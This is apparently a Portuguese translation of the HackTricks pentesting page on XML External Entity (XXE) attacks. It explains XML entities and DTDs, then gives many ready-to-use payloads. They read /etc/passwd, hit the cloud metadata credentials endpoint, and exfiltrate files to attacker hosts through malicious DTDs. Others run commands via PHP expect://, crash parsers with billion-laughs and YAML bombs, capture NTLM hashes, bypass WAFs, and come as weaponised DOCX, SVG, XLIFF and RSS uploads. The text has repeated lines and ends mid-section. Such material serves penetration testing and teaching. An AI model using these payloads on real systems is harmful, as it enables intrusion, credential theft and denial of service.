hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

40 KiB

XXE - XEE - Entidade Externa XML

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Um ataque de Entidade Externa XML é um tipo de ataque contra uma aplicação que analisa entrada XML.

Fundamentos do XML

A maior parte desta seção foi retirada desta incrível página da Portswigger: https://portswigger.net/web-security/xxe/xml-entities

O que é XML?

XML significa "linguagem de marcação extensível". XML é uma linguagem projetada para armazenar e transportar dados. Como o HTML, o XML usa uma estrutura em árvore de tags e dados. Ao contrário do HTML, o XML não usa tags predefinidas, então as tags podem receber nomes que descrevem os dados. No início da história da web, o XML estava em voga como formato de transporte de dados (o "X" em "AJAX" significa "XML"). Mas sua popularidade agora diminuiu em favor do formato JSON.

O que são entidades XML?

Entidades XML são uma forma de representar um item de dados dentro de um documento XML, em vez de usar os próprios dados. Várias entidades estão incorporadas na especificação da linguagem XML. Por exemplo, as entidades &lt; e &gt; representam os caracteres < e >. Estes são metacaracteres usados para denotar tags XML, e por isso devem geralmente ser representados usando suas entidades quando aparecem dentro dos dados.

O que são elementos XML?

Declarações de tipo de elemento definem as regras para o tipo e número de elementos que podem aparecer em um documento XML, quais elementos podem aparecer um dentro do outro e em que ordem devem aparecer. Por exemplo:

  • <!ELEMENT stockCheck ANY> Significa que qualquer objeto pode estar dentro do pai <stockCheck></stockCheck>
  • <!ELEMENT stockCheck EMPTY> Significa que deve estar vazio <stockCheck></stockCheck>
  • <!ELEMENT stockCheck (productId,storeId)> Declara que <stockCheck> pode ter os filhos <productId> e <storeId>

O que é definição de tipo de documento?

A definição de tipo de documento XML (DTD) contém declarações que podem definir a estrutura de um documento XML, os tipos de valores de dados que ele pode conter e outros itens. A DTD é declarada dentro do elemento opcional DOCTYPE no início do documento XML. A DTD pode ser totalmente autocontida dentro do próprio documento (conhecida como "DTD interna") ou pode ser carregada de outro lugar (conhecida como "DTD externa") ou pode ser uma mistura dos dois.

O que são entidades XML personalizadas?

O XML permite que entidades personalizadas sejam definidas dentro da DTD. Por exemplo:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

Esta definição significa que qualquer uso da referência de entidade &myentity; dentro do documento XML será substituído pelo valor definido: "my entity value".

O que são entidades externas XML?

Entidades externas XML são um tipo de entidade personalizada cuja definição está localizada fora da DTD onde são declaradas.

A declaração de uma entidade externa usa a palavra-chave SYSTEM e deve especificar uma URL de onde o valor da entidade deve ser carregado. Por exemplo:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

A URL pode usar o protocolo file://, e assim entidades externas podem ser carregadas a partir de arquivo. Por exemplo:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

Entidades externas XML fornecem o principal meio pelo qual ataques de entidade externa XML surgem.

O que são entidades de parâmetro XML?

Às vezes, ataques XXE usando entidades regulares são bloqueados, devido a alguma validação de entrada pela aplicação ou algum reforço do analisador XML que está sendo usado. Nessa situação, você pode ser capaz de usar entidades de parâmetro XML em vez disso. Entidades de parâmetro XML são um tipo especial de entidade XML que só pode ser referenciada em outro lugar dentro da DTD. Para os propósitos atuais, você só precisa saber duas coisas. Primeiro, a declaração de uma entidade de parâmetro XML inclui o caractere de porcentagem antes do nome da entidade:

<!ENTITY % myparameterentity "my parameter entity value" >

E segundo, entidades de parâmetro são referenciadas usando o caractere de porcentagem em vez do habitual e comercial: %myparameterentity;

Isso significa que você pode testar para XXE cego usando detecção fora de banda via entidades de parâmetro XML da seguinte forma:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Esta carga útil XXE declara uma entidade de parâmetro XML chamada xxe e então usa a entidade dentro da DTD. Isso causará uma pesquisa DNS e uma solicitação HTTP para o domínio do atacante, verificando que o ataque foi bem-sucedido.

Principais ataques

A maioria desses ataques foi testada usando os incríveis laboratórios XEE da Portswiggers: https://portswigger.net/web-security/xxe

Teste de Nova Entidade

Neste ataque, vou testar se uma simples nova declaração de ENTIDADE está funcionando

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Ler arquivo

Vamos tentar ler /etc/passwd de diferentes maneiras. Para Windows, você poderia tentar ler: C:\windows\system32\drivers\etc\hosts

Neste primeiro caso, observe que SYSTEM "**file:///**etc/passwd" também funcionará.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
Este segundo caso deve ser útil para extrair um arquivo se o servidor web estiver usando PHP (Não é o caso dos laboratórios da Portswigger)
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

Neste terceiro caso, observe que estamos declarando o Element stockCheck como ANY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Listagem de diretórios

Em aplicações baseadas em Java, pode ser possível listar o conteúdo de um diretório via XXE com um payload como (solicitando o diretório em vez do arquivo):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Um XXE pode ser usado para abusar de um SSRF dentro de uma nuvem

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Usando a técnica comentada anteriormente, você pode fazer o servidor acessar um servidor que você controla para mostrar que ele é vulnerável. Mas, se isso não estiver funcionando, talvez seja porque entidades XML não são permitidas, nesse caso você poderia tentar usar entidades de parâmetro XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Exfiltração de dados out-of-band

Nesta ocasião, vamos fazer o servidor carregar um novo DTD com um payload malicioso que enviará o conteúdo de um arquivo via requisição HTTP (para arquivos de múltiplas linhas, você poderia tentar exfiltrá-lo via ftp://). Esta explicação foi retirada do laboratório da Portswigger aqui.

Um exemplo de um DTD malicioso para exfiltrar o conteúdo do arquivo /etc/hostname é o seguinte:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Este DTD executa os seguintes passos:

  • Define uma entidade de parâmetro XML chamada file, contendo o conteúdo do arquivo /etc/passwd.
  • Define uma entidade de parâmetro XML chamada eval, contendo uma declaração dinâmica de outra entidade de parâmetro XML chamada exfiltrate. A entidade exfiltrate será avaliada fazendo uma solicitação HTTP para o servidor web do atacante contendo o valor da entidade file dentro da string de consulta da URL.
  • Utiliza a entidade eval, o que causa a declaração dinâmica da entidade exfiltrate a ser realizada.
  • Utiliza a entidade exfiltrate, para que seu valor seja avaliado ao solicitar a URL especificada.

O atacante deve então hospedar o DTD malicioso em um sistema que eles controlam, normalmente carregando-o em seu próprio servidor web. Por exemplo, o atacante pode servir o DTD malicioso na seguinte URL:
http://web-attacker.com/malicious.dtd

Finalmente, o atacante deve enviar a seguinte carga útil XXE para a aplicação vulnerável:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Este payload XXE declara uma entidade de parâmetro XML chamada xxe e depois usa a entidade dentro do DTD. Isso fará com que o analisador XML busque o DTD externo do servidor do atacante e o interprete inline. As etapas definidas dentro do DTD malicioso são então executadas, e o arquivo /etc/passwd é transmitido para o servidor do atacante.

Baseado em Erro (DTD Externo)

Neste caso, vamos fazer o servidor carregar um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso só é válido se você puder ver mensagens de erro). Exemplo daqui.

Você pode desencadear uma mensagem de erro de análise XML contendo o conteúdo do arquivo /etc/passwd usando um DTD externo malicioso da seguinte forma:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Este DTD executa os seguintes passos:

  • Define uma entidade de parâmetro XML chamada file, contendo o conteúdo do arquivo /etc/passwd.
  • Define uma entidade de parâmetro XML chamada eval, contendo uma declaração dinâmica de outra entidade de parâmetro XML chamada error. A entidade error será avaliada ao carregar um arquivo inexistente cujo nome contém o valor da entidade file.
  • Utiliza a entidade eval, o que causa a declaração dinâmica da entidade error a ser realizada.
  • Utiliza a entidade error, de modo que seu valor seja avaliado ao tentar carregar o arquivo inexistente, resultando em uma mensagem de erro contendo o nome do arquivo inexistente, que é o conteúdo do arquivo /etc/passwd.

Invoque o erro de DTD externo com:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

E você deve ver o conteúdo do arquivo dentro da mensagem de erro da resposta do servidor web.

Por favor, note que o DTD externo nos permite incluir uma entidade dentro da segunda (eval), mas isso é proibido no DTD interno. Portanto, você não pode forçar um erro sem usar um DTD externo (geralmente).

Baseado em Erro (DTD do sistema)

Então, o que dizer das vulnerabilidades XXE cegas quando interações fora de banda são bloqueadas (conexões externas não estão disponíveis)? Informações daqui.

Nessa situação, ainda pode ser possível desencadear mensagens de erro contendo dados sensíveis, devido a uma brecha na especificação da linguagem XML. Se o DTD de um documento usa uma combinação de declarações de DTD internas e externas, então o DTD interno pode redefinir entidades que são declaradas no DTD externo. Quando isso acontece, a restrição de usar uma entidade de parâmetro XML dentro da definição de outra entidade de parâmetro é relaxada.

Isso significa que um atacante pode empregar a técnica XXE baseada em erro a partir de um DTD interno, desde que a entidade de parâmetro XML que eles usam esteja redefinindo uma entidade que é declarada dentro de um DTD externo. Claro, se as conexões fora de banda estão bloqueadas, então o DTD externo não pode ser carregado de um local remoto. Em vez disso, precisa ser um arquivo DTD externo que esteja local no servidor da aplicação. Essencialmente, o ataque envolve invocar um arquivo DTD que por acaso existe no sistema de arquivos local e reutilizá-lo para redefinir uma entidade existente de uma maneira que desencadeie um erro de análise contendo dados sensíveis.

Por exemplo, suponha que haja um arquivo DTD no sistema de arquivos do servidor no local /usr/local/app/schema.dtd, e este arquivo DTD define uma entidade chamada custom_entity. Um atacante pode desencadear uma mensagem de erro de análise XML contendo o conteúdo do arquivo /etc/passwd ao enviar um DTD híbrido como o seguinte:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Este DTD executa os seguintes passos:

  • Define uma entidade de parâmetro XML chamada local_dtd, contendo o conteúdo do arquivo DTD externo que existe no sistema de arquivos do servidor.
  • Redefine a entidade de parâmetro XML chamada custom_entity, que já está definida no arquivo DTD externo. A entidade é redefinida como contendo o exploit XXE baseado em erro que já foi descrito, para acionar uma mensagem de erro contendo o conteúdo do arquivo /etc/passwd.
  • Utiliza a entidade local_dtd, para que o DTD externo seja interpretado, incluindo o valor redefinido da entidade custom_entity. Isso resulta na mensagem de erro desejada.

Exemplo do mundo real: Sistemas que utilizam o ambiente de desktop GNOME frequentemente possuem um DTD em /usr/share/yelp/dtd/docbookx.dtd contendo uma entidade chamada ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Como essa técnica utiliza um DTD interno, você precisa encontrar um válido primeiro. Você pode fazer isso instalando o mesmo OS / Software que o servidor está usando e procurando alguns DTDs padrão, ou obtendo uma lista de DTDs padrão dentro dos sistemas e verificando se algum deles existe:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Encontrando DTDs dentro do sistema

No seguinte repositório incrível do github, você pode encontrar caminhos de DTDs que podem estar presentes no sistema:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

Além disso, se você tiver a imagem Docker do sistema da vítima, você pode usar a ferramenta do mesmo repositório para escanear a imagem e encontrar o caminho dos DTDs presentes dentro do sistema. Leia o Readme do github para aprender como.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Analisadores Office Open XML

(Copiado de aqui)
Muitas aplicações web permitem que você faça upload de documentos do Microsoft Office e, em seguida, extraem alguns detalhes deles. Por exemplo, você pode ter uma aplicação web que permite importar dados fazendo upload de uma planilha no formato XLSX. Em algum momento, para que o analisador extraia os dados da planilha, ele precisará analisar pelo menos um arquivo XML.

A única maneira de testar isso é gerar um arquivo do Microsoft Office que contenha um payload XXE, então vamos fazer isso. Primeiro, crie um diretório vazio para descompactar seu documento e descompacte-o!

test$ ls
test.docx
test$ mkdir unzipped
test$ unzip ./test.docx -d ./unzipped/
Archive:  ./test.docx
inflating: ./unzipped/word/numbering.xml
inflating: ./unzipped/word/settings.xml
inflating: ./unzipped/word/fontTable.xml
inflating: ./unzipped/word/styles.xml
inflating: ./unzipped/word/document.xml
inflating: ./unzipped/word/_rels/document.xml.rels
inflating: ./unzipped/_rels/.rels
inflating: ./unzipped/word/theme/theme1.xml
inflating: ./unzipped/[Content_Types].xml

Abra ./unzipped/word/document.xml no seu editor de texto favorito (vim) e edite o XML para conter seu payload XXE favorito. A primeira coisa que costumo tentar é uma requisição HTTP, assim:

<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
<x>&test;</x>

Essas linhas devem ser inseridas entre os dois objetos XML raiz, assim, e claro que você precisará substituir a URL por uma URL que você possa monitorar as requisições:

Essas linhas devem ser inseridas entre os dois objetos XML raiz, assim

O que resta é zipar o arquivo para criar seu malicioso poc.docx. A partir do diretório "descompactado" que criamos anteriormente, execute o seguinte:

A partir do diretório "descompactado" que criamos anteriormente, execute o seguinte:

Agora faça o upload do arquivo para sua aplicação web (com sorte) vulnerável e reze para os deuses do hacking por uma requisição nos seus logs do Burp Collaborator.

Protocolo Jar:

O protocolo jar está disponível apenas em aplicações Java. Ele permite acessar arquivos dentro de um arquivo PKZIP (.zip, .jar, ...) e funciona para arquivos locais e remotos:

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} Ser capaz de acessar arquivos dentro de arquivos PKZIP é extremamente útil para abusar de XXE via arquivos DTD do sistema. Verifique esta seção para aprender como abusar de arquivos DTD do sistema. {% endhint %}

Por trás das cenas

  1. Faz uma requisição HTTP para carregar o arquivo zip. https://download.host.com/myarchive.zip
  2. Salva a resposta HTTP em um local temporário. /tmp/...
  3. Extrai o conteúdo do arquivo.
  4. Lê o file.zip
  5. Deleta arquivos temporários.

Note que é possível interromper o fluxo no segundo passo. O truque é nunca fechar a conexão ao servir o arquivo. Estas ferramentas podem ser úteis: uma em python slow_http_server.py e uma em java slowserver.jar.

Uma vez que o servidor tenha baixado seu arquivo, você precisa encontrar sua localização navegando pelo diretório temp. Sendo aleatório, o caminho do arquivo não pode ser previsto antecipadamente.

Jar

{% hint style="danger" %} Escrever arquivos em um diretório temporário pode ajudar a escalar outra vulnerabilidade que envolve um caminho de travessia (como inclusão de arquivo local, injeção de template, XSLT RCE, deserialização, etc). {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Ataque Billion Laugh

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Ataque Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Ataque de Quadratic Blowup

Obtendo NTML

Em hosts Windows é possível obter o hash NTML do usuário do servidor web configurando um manipulador responder.py:

Responder.py -I eth0 -v

e ao enviar a seguinte solicitação

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Então você pode tentar quebrar o hash usando hashcat

Superfícies XXE Ocultas

XInclude

Daqui.

Algumas aplicações recebem dados submetidos pelo cliente, incorporam-nos no lado do servidor em um documento XML e, em seguida, analisam o documento. Um exemplo disso ocorre quando dados submetidos pelo cliente são colocados em uma solicitação SOAP de backend, que é processada pelo serviço SOAP de backend.

Nessa situação, você não pode realizar um ataque XXE clássico, porque você não controla o documento XML inteiro e, portanto, não pode definir ou modificar um elemento DOCTYPE. No entanto, você pode ser capaz de usar XInclude em vez disso. XInclude é uma parte da especificação XML que permite que um documento XML seja construído a partir de subdocumentos. Você pode colocar um ataque XInclude dentro de qualquer valor de dados em um documento XML, então o ataque pode ser realizado em situações onde você controla apenas um único item de dados que é colocado em um documento XML do lado do servidor.

Para realizar um ataque XInclude, você precisa referenciar o namespace XInclude e fornecer o caminho para o arquivo que deseja incluir. Por exemplo:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

SVG - Upload de Arquivo

Daqui.

Algumas aplicações permitem que usuários façam upload de arquivos que são processados no lado do servidor. Alguns formatos de arquivo comuns usam XML ou contêm subcomponentes XML. Exemplos de formatos baseados em XML são formatos de documentos de escritório como DOCX e formatos de imagem como SVG.

Por exemplo, uma aplicação pode permitir que usuários façam upload de imagens, e processem ou validem essas imagens no servidor após o upload. Mesmo que a aplicação espere receber um formato como PNG ou JPEG, a biblioteca de processamento de imagens que está sendo usada pode suportar imagens SVG. Como o formato SVG usa XML, um atacante pode enviar uma imagem SVG maliciosa e assim alcançar superfícies de ataque ocultas para vulnerabilidades XXE.

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Você também pode tentar executar comandos usando o encapsulador "expect" do PHP:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

Observe que a primeira linha do arquivo lido ou do resultado da execução aparecerá DENTRO da imagem criada. Portanto, você precisa ser capaz de acessar a imagem SVG que foi criada.

PDF - Upload de arquivo

Leia o seguinte post para aprender a explorar um XXE fazendo upload de um arquivo PDF:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: De x-www-urlencoded para XML

Se uma requisição POST aceita dados no formato XML, você poderia tentar explorar um XXE nessa requisição. Por exemplo, se uma requisição normal contém o seguinte:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Então, você pode ser capaz de enviar a seguinte solicitação, com o mesmo resultado:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: De JSON para XEE

Para alterar a solicitação, você pode usar uma extensão do Burp chamada “Content Type Converter“. Aqui você pode encontrar este exemplo:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Outro exemplo pode ser encontrado aqui.

WAF & Proteções Bypasses

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Isso só funciona se o servidor XML aceitar o protocolo data://.

UTF-7

Você pode usar a ["Encode Recipe" do cyberchef aqui]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)para](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para) para transformar em UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Bypass do Protocolo file:/

Se a web estiver usando PHP, em vez de usar file:/, você pode usar php wrappers php://filter/convert.base64-encode/resource= para acessar arquivos internos.

Se a web estiver usando Java, você pode verificar o protocolo jar:.

Entidades HTML

Truque de https://github.com/Ambrotd/XXE-Notes
Você pode criar uma entidade dentro de outra entidade codificando-a com entidades HTML e depois chamá-la para carregar um dtd.
Note que as Entidades HTML usadas precisam ser numéricas (como [neste exemplo](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Exemplo de DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Extrair index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Extrair recurso externo

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Execução remota de código

Se o módulo "expect" do PHP estiver carregado

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Esta seção foi retirada de https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
De acordo com a Wikipedia:

XLIFF (XML Localization Interchange File Format) é um formato de bitexto baseado em XML criado para padronizar a maneira como os dados localizáveis são passados entre ferramentas durante um processo de localização e um formato comum para troca de ferramentas CAT.

Solicitação cega

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

A resposta do servidor com um erro:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Mas tivemos um sucesso no Burp Collaborator.

Exfiltração de Dados via Out of Band

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Exfiltração de Dados via Erro Baseado

Arquivo DTD:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Resposta do Servidor:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Ótimo! O arquivo non-exist é refletido nas mensagens de erro. A seguir, adicionaremos o Conteúdo do Arquivo.

Arquivo DTD:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

E o conteúdo do arquivo foi impresso com sucesso na saída do erro enviado via HTTP.

RSS - XEE

XML válido com formato RSS para explorar uma vulnerabilidade XXE.

Ping back

Simples requisição HTTP para o servidor do atacante

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Ler arquivo

<?xml version="1.0" encoding="UTF-8"?>
